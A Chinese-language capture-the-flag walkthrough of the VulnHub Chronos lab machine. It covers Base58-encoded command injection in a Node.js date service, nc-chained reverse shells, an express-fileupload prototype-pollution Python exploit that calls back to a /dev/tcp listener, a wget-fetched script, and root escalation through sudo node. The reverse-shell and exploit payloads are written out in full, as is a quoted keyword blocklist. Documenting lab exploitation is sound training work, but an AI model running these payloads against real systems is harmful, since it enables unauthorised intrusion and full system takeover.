暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

柯罗诺斯_时间服务器攻入

爱婷如命一生一世 2021-09-30
1061


这款靶机还是强烈建议运行在vbox上。根据作者的描述:取得两个用户的flag就获得胜利!

靶机地址: https://www.vulnhub.com/entry/chronos-1,735/

参考链接: 

  1. https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/ 

  2. https://blog.p6.is/Real-World-JS-1/


难度:中 (在攻入过程中,我认为远远超过了这个难度!涉及了众多的代码审计,框架漏洞,数据编码等)有意思的是,这个靶机还存在一个彩蛋,哈哈!

按照社会工程学,对这个靶机的名字(chronos)分析了下,里面的内容应该与时间有关系......


话不多说,导入靶机开始!

主机发现环节

靶机和我的kali是在同一个子网,在主机发现中,除了之前介绍的arp-scan和arping,之外,我再介绍另外一种工具# netdiscover  

这款工具原理跟之前的两个是异曲同工,都是通过arp解析协议来完成

目前我试验环境的子网是192.168.0.0/24

└─# netdiscover -r 192.168.0.0/16

这条命令 -r的参数后面跟上自己的试验网段,如果你实际的子网掩码是/24,通常减8 ,变成/16 , 以此类推,实际/16,就写/8,这样做减法,好处在于加快了主机发现。用方向键↓放下拉取,找到了目标靶机所在的位置,但是在我实际的操作中,这速度没有arp-scan那么快,它的唯一优势在大类子网中速度会快很多,配合定向文件查找即可!

针对192.168.0.109进行全端口扫描

└─# nmap -p- 192.168.0.109 

如图所示:22,80 8000三个端口被扫描出来了。


针对这三个端口,进行服务版本发现确认。

└─# nmap -p22,80,8000 -sV 192.168.0.109

如图所示:得到了系统是ubuntu系统,运行了http服务,使用了node.js和Express框架!

既然与Web服务,在浏览器上尝试访问80和8000端口

http://192.168.0.109/

果然和我之前猜测这个靶机名字,一张被简单美化过的时间图片,里面会有什么东西等待我的解开呢?


遇到这样的web应用,通常先用爬站的手段,将隐藏路径和文件爬出来,

由于有这个简单的渲染画面,这里我不得不使用的是ctrl+u,在谷歌浏览器上用来查看源码文件的,通常在html语句中会有隐藏域,表单等页面元素

如如所示:在这段HTML语句中发现了一个脚本文件,希望从这里能找到一些线索


先将它复制,尝试读懂这段脚本,但是傻了眼,大概能看出很多变量名称经过了编码处理!

很难从Js语义中读懂其中意思


这就需要对java 脚本进行美化,整理,还原的操作

有一款工具值的推荐:cyberchef

其作者将这款软件上传至GitHub之中,通过github的http服务就可以用啦!

地址:https://gchq.github.io/CyberChef/

该工具可以对计算机内的很多语言进行编码,解码等操作

operations操作模块:多达几百种

Recipe 食谱/烹饪,转换的意思

input   插入数据

output  转换后的数据


首先,知道这段代码一定是js代码文件,因此在操作模块中选择该模块,并将之前的代码插入


最后转换的结果如下

即使是美化过的js代码,在我仔细阅读过程中发现还是很晦涩,很多变量名称都被编码化了。


在我代码审计过程中,发现了一段很突兀的明文代码,这让我很是欢喜,将这段代码复制

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

看起来这是一段URL

chronos.local 根据靶机名字,推断出这可能是本机(主机)的意思。

8000端口下运行着node.js,并且后面跟了变量date?for之类的URL的赋值

足以判断出,当我访问靶机的web资源,它会调取其中的某个资源显示出来。


为了能验证此推断,需要再本地进行测试,将chronos.local写入到kali中的hosts文件之中

└─# vim /etc/hosts  


我在kali上的浏览器上尝试访问解析过的8000端口下的url里的内容,看看有什么变化?

访问目标靶机的80端口里的首页面,在已经被解析的域名,会带出来url后面的8000端口后的内容,如图所示:证明访问了url资源

页面中显示的是UTC时间

页面中显示的是UTC时间,加8就行



利用burp拦截功能,抓取http请求过程的所有内容,进行下一步分析。别忘在kali浏览器上开启代理


先关闭代理的拦截功能,以防后续无法进行正常访问


刷新kali 浏览器上的网页内容,在http history模块中发现了如下的内容:

这里面能够看到有GET的请求方法请求了/的URL路径;

OPTIONS 方法 访问了date?format.....的URL路径。

OPTIONS方法:是用于请求获得由Request-URI标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能。该请求方法的响应不能缓存。

GET:从服务器请求数据后获取服务端数据

并且在最后一个Get请求后,服务器返回的结果是一个当下的具体时间。



因此,我可以确定出这个web页面中的信息就是通过访问以上服务器的URL地址,或得到的时间结果


将这一段的请求代码,发送到Repeater上,对其代码进行重放尝试


若是将GET请求中的URL路径参数修改成任意,刷新后的web页面是否能正常显示时间?

修改了两种,一种是null 一种瞎写的字母:修改完成后点击send,发现在响应模块中有HTTP状态码500的报错和没有回显的信息


这就可以证明出format=后面的参数对调取时间是非常关键的。


通过大致观察,可能是一类编码,当时怀疑的是Base64编码,可是它没有符号类的format= 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL;

对于对编码类型的怀疑,复制这段代码,上传到CyberChef,来进行验证处理,从而还原出能看懂的明文代码,利用Magic功能进行验证

通过magic功能模块解析,得到的结果这段编码是通过Base58编码译成的。

该靶机的作者选用Base58这种冷门,是为了大概率防止知悉Base64编码的人轻易破解密文吧!


通过点击还原出来的明文:

'+Today is %A, %B %d, %Y %H:%M:%S.' 类似linux中date命令,通过变量格式能够在系统中输出


被还原出的明文代码,看起来是真的很熟悉,就是linux中date命令,通过变量格式能够在系统中输出,可以验证下:

如图所示,就是Linux系统中的date命令配合变量的输出系统时间,这个系统时间是以一定的格式输出!%m星期几....


有了这样的结论,Web应用程序中返回的结果就是执行了操作系统中date的系统指令,由此尝试命令注入漏洞的特殊符号(;\--%$#@&| 等)配合nc串联实现反弹shell。
在开发语言中经常会用到运算符,其中||(短路或)和&&(短路与)是逻辑运算符的范畴;这在我之前java的运算符分享过

|前面是真,后面不执行

&前面是真,后面依然执行


同样在linux系统中适用!例如,如图所示:

|| 前面的命令正确,后面的命令不执行,反之亦然

&& 前面的命令正确之后,才能执行后续的命令(这一点跟java中的短路或有点区别)

按照这样的思路,测试靶机是否存在命令注入漏洞。


通过之前拦截的HTTP请求报文中,可以看到format后面的数值都是用base58,因此将后续的系统指令

(这里我用 && ls )转换成Base58编码,将靶机中的文件列表给列举出来。

回到CyberChef中,按照图中板式进行转换,将yZSGA转换结果拷贝。


将这个数值,粘贴到Repcater中,果真有命令注入漏洞!

既然存在命令注入漏洞,配合反弹shell最好不过了;

反弹shell中,通常应用广泛的是nc链接,将发现系统是否存在nc命令指令转换成Base58编码:VAZYW9RHPu6D


将这段翻译出来的编码,粘贴到burp中,进行重发

如图所示:发现了靶机存在bash和nc的命令,这就可以进行下一步的反弹shell 做准备了。


先测试靶机的nc连接功能到我的kali上是否正常

首先,在我的kali上开启侦听3035端口


将系统执行转换成base58,复制转化后的编码nhianDroxJrkSARURd6QxM5XVcvLNqz

然后,将这拷贝的编码,放到Burp之中

如图所示:返回的结果提示出错了,看起来目前的请求是有问题的!

但是在kaLi的nc侦听界面中,显示了一条连接的提示信息,说明目标靶机存在nc,可以正常进行链接!

接下来进一步对nc测试,目前不确定nc版本是哪一种,因此这里测试的是目标靶机中nc命令是否支持  -e的参数;

还是先转换:

&&nc 192.168.0.208 3035 -e /bin/bash  

HoVdg5BvZa2o7FGdcYtuWboPUrKzSwBVrEctxtzcazqPFqdD1

最后的结果依然是有错误的。

在kali上的nc端口侦听中也是没有任何结果,证明了不包含 -e参数的nc


在kali上再开启3036端口

既然是这样,可以利用nc串联的方式,

&&nc 192.168.0.208 3035 | /bin/bash | nc 192.168.0.208 3036

转换

2XqeYgBDNepmM9vgTVeDpGeidrSgzvkibM7HMNvf4bvJt3xREvjKGBrtSvbGPTN64AMwLZfFzdCqPmnuT

在kali中两个端口的连接建立成功

测试下是否链接成功,反弹shell成功了。查看用户身份是一个www用户,革命还未成功~~~~~~~~


有了反弹shell的基础,先进行搜集信息

列出当前目录的文件内容:


查看目标靶机内的所有用户信息,发现有一个inmera的用户。

进入到用户家目录,发现了user.txt文件,很遗憾,这个文件通过我列出文件列表,看到了该文件权限的属主是imera,而我的身份是www用户

接下来尝试进行提权

基于内核漏洞4.15系统漏洞,目前没有发现

查看suid和sudo权限,无效

到此为止,渗透提权遇到了阻碍!就需要更加深入的去对目标靶机进行信息收集;

经过对文件路径的查看,发现/opt的文件里的内容有价值

choronos和choronos-v2

choronos文件夹下存在以下文件:该服务器的代码文件如下

从这些文件得知,该目标靶机的web程序语言是用js开发而来,我访问了js官网来进一步查询:http://nodejs.cn/

在我的开发认知中,js通常以客户端前端来呈现,很少用作服务器端的应用程序,通过查询官网的文档中,大致了解了node.js的一些知识点。

在看了一些利用js开发的产品,大部分都是基于其中的框架和库发布出来的。

其中express是最受web搭建的广泛应用


在node.js官网中,查询到了package.json的一些介绍

在了解了node.js 基本知识点后,开始进行代码审计,首先查看package.json

其中声明了web程序中依赖的库和其他编码文件,这里面我们看到了express的框架和base58编码信息

查看程序的主文件app.js 从这取名来看,这很肯定就是web服务端的应用程序文件

看到了框架,编码 端口

还看到了代码的路由功能(例如访问/ 会跳转到哪个路径)

app.get('/', (req,res) =>

针对该靶机的web内容,我重点放在/date上

var agent = req.headers['user-agent'];  (取http头的user-agent字段的内容并赋值给agent的这个变量;)

    var cmd = 'date ';   (定义一个cmd的变量为date--执行时间的系统命令)

    const format = req.query.format;  (url路径中format的赋值)

    const bytes = bs58.decode(format);  (提出来赋值用base58解码)

    var decoded = bytes.toString();  (解码后的还原成字符串)

    var concat = cmd.concat(decoded);  (还原后的字符串利用concat和cmd进行连接。)

通过对.app.js里面的代码审计,发现服务端只是简单地对数值进行拼接,没有进行任何的代码消毒过滤,就是因为该代码忽略了这点安全优化,从而导致了能够成功的进行了命令注入;



如果agent这个变量是chronos,则正常执行以下语句:

大概的意思如果请求内容中包含了以下字段,web程序就会返回Something went wrong的信息。

if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {


            res.send("Something went wrong");

        }

就是之前我插入了nc报错的原因!

但是这代码的后面就没有了任何的消毒,过滤动作!并没有进行阻断操作而进一步开启了相关的应用,如图所示:继续开启了服务端的端口,提供了相关应用!!

若是不符合,则返回permission Denied


观察完了这些代码,在burp中,我们可以验证出

user-agent字段中 是否存在chronos字段内容

如图所示:就是因为之前的服务端app.js代码中agent变量中赋值了chorons

若是将web请求头中的agetn字段的赋值内容改成别的,那么按照app.js里的代码就会被判断为错误,返回权限拒绝

通过阅读以上代码,可以知道该靶机作者是十分熟悉渗透测试的各种环节,对各种命令字符,只是过滤,执行了报错的信息,故意留给我们这一个漏洞!

总的来说,app.js这里面的代码是没有任何对提权有价值的线索

继续我的深入收集信息阶段....

查看chronos-v2的文件夹里的内容,发现了三个文件,重点关注backend这个文件目录(后端存放文件)


进入到该文件夹下,查看有哪些文件,先进入到package.json文件


package.json文件内容:


{

  "name": "some-website",

  "version": "1.0.0",

  "description": "",

  "main": "server.js",   --服务端主程序

  "scripts": {

    "start": "node server.js"    --启动服务端主程序方法

  },

  "author": "",

  "license": "ISC",

  "dependencies": {

    "ejs": "^3.1.5",                     --嵌入式js模板

    "express": "^4.17.1",

    "express-fileupload": "^1.1.7-alpha.3"     --***文件上传,突破口****

  }

}


查看主程序文件 server.js   

onst express = require('express');        --调用库

const fileupload = require("express-fileupload");

const http = require('http')


const app = express();


app.use(fileupload({ parseNested: true }));       --文件上传参数开关***


app.set('view engine', 'ejs');

app.set('views', "/opt/chronos-v2/frontend/pages");


app.get('/', (req, res) => {

   res.render('index')

});

onst server = http.Server(app);

const addr = "127.0.0.1"

const port = 8080;       --服务端口8080,这个端口没被之前扫描出来的原因在于:只侦听了本机地址127.0.0.1,也就说只有本机才能访问这个8080端口。

server.listen(port, addr, () => {

   console.log('Server listening on ' + addr + ' port ' + port);

});


通过在查询express文件上传模块漏洞


最终这个链接

https://blog.p6.is/Real-World-JS-1/

详细的介绍了该漏洞的利用方法

parseNested这个值要关注下

想要利用这个漏洞,服务器端必须开启此功能


文章的最后,作者列出了一个简化的py脚本,将这段代码复制一下,稍作修改,写上自己的kali的主机地址和目标本地的地址

import requests


cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.208/3037 0>&1"'


# pollute

requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (

    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})


# execute command

requests.get('http://127.0.0.1:8080')


复制好的代码,现在kali上生成一个fileupload.py的文件


在kali上开启HTTP功能,让靶机可以正常下载.py这个文件

└─# python3 -m http.server 8099


在反弹shell中,切换到靶机的/TMP目录,原因在于tmp这个文件权限比其他的文件夹要大一些!


wget http://192.168.0.208:8099/fileupload.py

下载成功


在kali上启动3037端口侦听


在反弹shell中执行python3 fileupload.py 

如图所示:成功获取到了反弹shell

以为大功告成,结果只是获得了imera的普通用户账号

进入到imera的家目录,查看相关的文件

如图所示:很眼熟吗?这就是之前我查看所用用户时发现的一个用户文件,只不过权限不够!

 迫不及待的查看该文件:第一步取得普通用户的标签

我尝试进入到root下,提示权限拒绝!

我真的是服了!!!!


Linux用户提权的三种方式:

内核提权

suid

sudo提权

在用sudo列表漏洞提权的过程里看到了一丝曙光!

这两行的意思就是,利用root用户在执行npm和node命令的时候是不需要输入密码的!


利用Node反弹shell提权!

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'




将两个flage拷贝:

imera的:

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

root的:

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

到此为止,攻入完成!

通过对作者的描述,这两个用户里的文件falg到底是密码是什么?

看起来这个两个编码,报着试试的态度,查看是什么编码文件,通过magic的模块查看是Base64编码


经过转换得来的这些文字o chronos pernaei file mou


可是这英文通过翻译的结果是这样的!

再将root下的falge内容进行转换翻译

这就是这次的小彩蛋吧!


文章转载自爱婷如命一生一世,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论